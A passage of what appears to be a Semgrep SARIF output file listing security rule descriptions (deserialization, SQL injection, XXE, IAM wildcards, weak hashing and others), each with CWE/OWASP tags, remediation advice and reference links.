java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","id":"python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","name":"python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function."},"help":{"markdown":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage)\n - [https://docs.python.org/3/library/typing.html#typing.get_type_hints](https://docs.python.org/3/library/typing.html#typing.get_type_hints)\n","text":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","id":"python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","name":"python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli","id":"java.spring.security.audit.spring-sqli.spring-sqli","name":"java.spring.security.audit.spring-sqli.spring-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-sqli.spring-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take."},"help":{"markdown":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_policy)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py)\n","text":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","id":"terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","name":"terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`"},"help":{"markdown":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`"},"helpUri":"https://semgrep.dev/r/python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","id":"python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","name":"python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"help":{"markdown":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","id":"swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","name":"swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'."},"help":{"markdown":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","id":"java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","name":"java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","properties":{"precision":"very-high","tags":["CWE-297: Improper Validation of Certificate with Host Mismatch","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","id":"go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","name":"go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized."},"help":{"markdown":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","id":"swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","name":"swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","properties":{"precision":"very-high","tags":["CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-shelve.tainted-shelve)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-shelve.tainted-shelve","id":"python.lang.deserialization.tainted-shelve.tainted-shelve","name":"python.lang.deserialization.tainted-shelve.tainted-shelve","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-shelve.tainted-shelve"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","id":"python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","name":"python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","id":"java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","name":"java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Backticks use may lead to command injection vulnerabilities."},"help":{"markdown":"Backticks use may lead to command injection vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.backticks-use.backticks-use)\n - [https://www.php.net/manual/en/language.operators.execution.php](https://www.php.net/manual/en/language.operators.execution.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/BackticksSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/BackticksSniff.php)\n","text":"Backticks use may lead to command injection vulnerabilities."},"helpUri":"https://semgrep.dev/r/php.lang.security.backticks-use.backticks-use","id":"php.lang.security.backticks-use.backticks-use","name":"php.lang.security.backticks-use.backticks-use","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.backticks-use.backticks-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead."},"help":{"markdown":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled)\n - [https://flask.palletsprojects.com/en/2.0.x/debugging/](https://flask.palletsprojects.com/en/2.0.x/debugging/)\n - [https://flask.palletsprojects.com/en/2.0.x/config/#ENV](https://flask.palletsprojects.com/en/2.0.x/config/#ENV)\n","text":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","id":"yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","name":"yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables 